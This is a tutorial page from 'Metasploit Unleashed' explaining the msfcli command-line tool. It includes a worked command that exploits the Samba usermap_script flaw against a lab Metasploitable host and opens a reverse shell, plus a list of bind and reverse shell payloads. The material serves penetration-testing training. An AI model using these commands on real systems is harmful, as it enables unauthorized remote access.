Msfcli
From Metasploit Unleashed
Msfcli provides a powerful command-line interface to the framework.
root@kali:~# msfcli -h Usage: /opt/metasploit/msf3/msfcli
Note that when using msfcli, variables are assigned using '=' and that all options are case-sensitive.
root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E [*] Please wait while we load the module tree... ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 936 exploits - 500 auxiliary - 151 post + -- --=[ 252 payloads - 28 encoders - 8 nops =[ svn r15767 updated today (2012.08.22) RHOST => 172.16.194.172 PAYLOAD => cmd/unix/reverse [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo cSKqD83oiquo0xMr; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "cSKqD83oiquo0xMr\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400 uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
If you aren't entirely sure about what options belong to a particular module, you can append the letter 'O' to the end of the string at whichever point you are stuck.
root@kali:~# msfcli exploit/multi/samba/usermap_script O [*] Please wait while we load the module tree... Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 139 yes The target port
To display the payloads that are available for the current module, append the letter 'P' to the command-line string.
root@kali:~# msfcli exploit/multi/samba/usermap_script P [*] Please wait while we load the module tree... Compatible payloads =================== Name Description ---- ----------- cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent) cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat cmd/unix/bind_netcat_ipv6 Listen for a connection and spawn a command shell via netcat cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby cmd/unix/generic Executes the supplied command cmd/unix/reverse Creates an interactive shell through two inbound connections cmd/unix/reverse_netcat Creates an interactive shell via netcat cmd/unix/reverse_perl Creates an interactive shell via perl cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
The other options available to msfcli are available by issuing 'msfcli -h'.
Benefits of mscli
- Supports the launching of exploits and auxiliary modules
- Useful for specific tasks
- Good for learning
- Convenient to use when testing or developing a new exploit
- Good tool for one-off exploitation
- Excellent if you know exactly which exploit and options you need
- Wonderful for use in scripts and basic automation
The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn't support any of the advanced automation features of msfconsole.
Metasploit Fundamentals > Msfcli
